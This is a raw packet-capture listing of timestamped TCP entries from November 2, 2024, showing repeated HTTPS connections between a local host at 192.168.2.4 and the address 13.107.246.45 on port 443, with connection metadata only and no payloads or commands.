Nov 2, 2024 07:15:58.654603004 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.654642105 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.654727936 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.654732943 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.654751062 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.654762030 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.654766083 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.655884981 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.655952930 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.655992985 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.655992985 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.656011105 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.656030893 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.657196045 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.657216072 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.657280922 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.657381058 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.657387018 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.657665968 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.657686949 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.657737970 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.657833099 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.657846928 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.781177044 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.781244993 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.781296968 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.781383038 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.781394005 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.781402111 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.781405926 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.783087969 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.783116102 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.783179998 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.783277035 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.783286095 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.380161047 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.380565882 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.380590916 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.380970955 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.380975962 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.382774115 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.383069992 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.383085012 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.383398056 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.383403063 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.407064915 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.407363892 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.407370090 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.407702923 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.407706022 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.417901993 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.418171883 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.418181896 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.418504953 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.418509007 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.514585972 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.514738083 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.514811993 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.514889956 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.514889956 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.514929056 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.514951944 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.517318964 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.517339945 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.517427921 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.517558098 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.517570019 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.519586086 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.519637108 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.519686937 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.519778013 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.519778013 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.519788027 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.519797087 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.521615028 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.521641970 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.521712065 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.521821022 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.521835089 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.522479057 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.522746086 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.522753000 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.523127079 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.523129940 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.539297104 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.539459944 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.539527893 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.539555073 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.539562941 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.539571047 CET	63739	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.539575100 CET	443	63739	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.541254044 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.541280985 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.541352987 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.541466951 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.541477919 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.552265882 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.552314043 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.552354097 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.552447081 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.552455902 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.552464962 CET	63740	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.552469969 CET	443	63740	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.554349899 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.554426908 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.554505110 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.554604053 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.554636955 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.654898882 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.655092001 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.655149937 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.655204058 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.655210972 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.655220032 CET	63741	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.655224085 CET	443	63741	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.657773018 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.657783031 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:59.657864094 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.658021927 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:59.658034086 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.258647919 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.259324074 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.259332895 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.259937048 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.259942055 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.287384987 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.287813902 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.287828922 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.288218975 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.288223028 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.301441908 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.301845074 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.301856041 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.302407026 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.302411079 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.317305088 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.317800999 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.317836046 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.318147898 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.318164110 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.389434099 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.389487028 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.389530897 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.389659882 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.389666080 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.389674902 CET	63743	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.389678955 CET	443	63743	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.392364979 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.392410994 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.392497063 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.392672062 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.392698050 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.421443939 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.421730042 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.421777010 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.421914101 CET	63742	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.421924114 CET	443	63742	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.422741890 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.423173904 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.423188925 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.423690081 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.423693895 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.424438000 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.424518108 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.424602032 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.424738884 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.424772024 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.434353113 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.434561968 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.434617043 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.434649944 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.434659004 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.434667110 CET	63744	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.434670925 CET	443	63744	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.436714888 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.436738014 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.436805010 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.436907053 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.436916113 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.450987101 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.451180935 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.451236010 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.451298952 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.451298952 CET	63745	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.451339006 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.451364040 CET	443	63745	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.453449965 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.453478098 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.453557968 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.453728914 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.453742027 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.557827950 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.558211088 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.558273077 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.558299065 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.558304071 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.558314085 CET	63746	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.558316946 CET	443	63746	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.560065985 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.560085058 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:00.560153008 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.560259104 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:00.560267925 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.123157024 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.123555899 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.123594046 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.124017000 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.124030113 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.184937000 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.191441059 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.204461098 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.214803934 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.214848042 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.215221882 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.215238094 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.215404987 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.215419054 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.215715885 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.215725899 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.215924978 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.215938091 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.216223955 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.216228008 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.256655931 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.256707907 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.256769896 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.256900072 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.256925106 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.256947994 CET	63747	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.256961107 CET	443	63747	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.259057999 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.259087086 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.259165049 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.259272099 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.259280920 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.305557013 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.307823896 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.307832003 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.320688009 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.320693970 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.340509892 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.340723038 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.340783119 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.347510099 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.347764015 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.347841024 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.353738070 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.353935957 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.353987932 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.447009087 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.447069883 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.447129965 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.461709976 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.461709976 CET	63750	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.461764097 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.461793900 CET	443	63750	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.469367027 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.469376087 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.469386101 CET	63751	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.469391108 CET	443	63751	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.492842913 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.492842913 CET	63748	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.492865086 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.492887020 CET	443	63748	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.500523090 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.500530958 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.500543118 CET	63749	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.500545025 CET	443	63749	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.561193943 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.561264038 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.561335087 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.562558889 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.562587023 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.562638998 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.562711954 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.562722921 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.564687014 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.564696074 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.564748049 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.564846992 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.564852953 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.564996958 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.565012932 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.568912029 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.568933964 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:01.568984985 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.569089890 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:01.569103956 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.028340101 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.028767109 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.028784037 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.029201984 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.029206991 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.164850950 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.164999008 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.165049076 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.165107965 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.165124893 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.165136099 CET	63752	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.165139914 CET	443	63752	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.167363882 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.167387962 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.167467117 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.167589903 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.167603016 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.307681084 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.308010101 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.308027983 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.308372021 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.308377028 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.310374022 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.310642958 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.310657024 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.310936928 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.310941935 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.314332008 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.314596891 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.314620972 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.314977884 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.314984083 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.323483944 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.323834896 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.323853970 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.324209929 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.324213982 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.438133955 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.438317060 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.438364983 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.438821077 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.438831091 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.438839912 CET	63754	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.438846111 CET	443	63754	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.442500114 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.442524910 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.442586899 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.442847013 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.442970991 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.443011999 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.445153952 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.445163965 CET	443	63758	13.107.246.45	192.168.2.4
